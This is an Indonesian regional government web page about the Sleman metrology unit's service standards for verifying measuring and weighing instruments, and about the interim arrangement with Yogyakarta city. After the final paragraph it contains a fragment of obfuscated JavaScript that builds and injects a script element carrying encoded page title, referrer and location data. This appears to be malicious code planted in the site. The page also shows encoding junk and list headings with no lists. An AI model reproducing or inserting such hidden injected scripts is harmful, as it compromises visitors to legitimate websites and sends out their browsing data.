Unit Pelaksana Teknis Metrologi Sleman sebagai penyelenggara pelayanan publik yang mengemban tugas memberikan perlindungan terhadap masyarakat, baik kepada para konsumen maupun produsen mengenai kebenaran pengukuran dan kepastian hukum di dunia usaha, sebagaimana yang diamanatkan oleh Undang-Undang Republik Indonesia Nomor 2 Tahun 1981 tentang Metrologi Legal (UUML).
Dalam Melaksanakan tugas melakukan tera dan tera ulang terhadap Alat ukur, Takar, Timbang dan Perlengkapannya (UTTP), sesuai Peraturan Pemerintah Nomor 2 Tahun 1985 maka UTTP yang wajib ditera dan ditera ulang adalah alat yang digunakan untuk:
Sebagaimana diamanatkan di dalam Undang-Undang Nomor 25 Tahun 2009 tentang Pelayanan Publik, bahwa setiap Penyelenggara Pelayanan Publik baik yang memberikan pelayanan kepada masyarakat secara langsung maupun tidak langsung wajib menyusun dan menetapkanAi?? Standar Pelayanan yang dapat dijadikan sebagai tolak ukur dalam penyelenggaraan pelayanan di lingkungan masing-masing.Ai?? Maka Standar Pelayanan Tera dan Tera Ulang UPT Metrologi Sleman adalah sebagai berikut:

Dari hasil pengujian tersebut barulah dapat diketahui UTTP yang memenuhi syarat dalam hal kebenaran, kepekaan atau tidak memenuhi ketiga syarat tersebut. UTTP yang memenuhi syarat akan dibubuhi tanda sah yang berlaku, sedangkan yang tidak memenuhi syarat tanda batal. Rangkaian kegiatan pengujian sampai dengan pembubuhan tanda sah atau tanda batal ini di sebut tera. UTTP yang sudah bertanda tera sah yang berlaku dapat digunakan untuk melakukan kegiatan jual beli atau transaksi barang dagang.
Ada beberapa cara untuk mengindentifikasi apakah suatu UTTP telah ditera sah atau ditera ulang sah, yaitu pada saat pendaftaran antara lain sebagai berikut:
Adapun waktu Pelayanan adalah:
Untuk memberi kepastian hukum bagi setiap UTTP yang sudah ditera atau ditera ulang serta dilakukan pengujian dibubuhi tanda-tanda tera sebagai berikut :
Akan tetapi untuk sampai dengan saat ini, UPT Metrologi Legal Sleman belum bisa memberikan pelayanan tera dan tera ulang secara mandiri karena Surat Keterangan Kelayakan Pelaksanaan Sidang Tera/Tera Ulang (SKKPTTU) masih dalam proses untuk penilaian dari Dirjen Standardisasi dan Perlindungan Konsumen Kemeterian Perdagangan RI.
Selama proses penerbitan SKKPTTU tersebut, maka pelayanan pelayanan tera dan tera ulang terhadap alat ukur, takar, timbang dan perlengkapannnya (UTTP) yang berada di wilayah Kabupaten Sleman difasilitasi oleh UPT Metrologi Legal Kota Yogyakarta berdasarkan pada Perjanjian Kerja Sama (MoU) antara Pemerintah Kabupaten Sleman dengan Pemerintah Kota Nomor 36/PK.KDH/D/2017 dan Nomor 714/1567 tanggal 10 Mei 2017 tentang Pelayanan dan Pengawasan Metrologi Legal.
Adapun waktu pelaksanaan Tera/Tera Ulang akan disesuaikan dengan penjadwalan dari UPT Metrologi Legal Kota Yogyakarta. ment[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}
Informasi Agenda Dinas
Tidak Ada Comment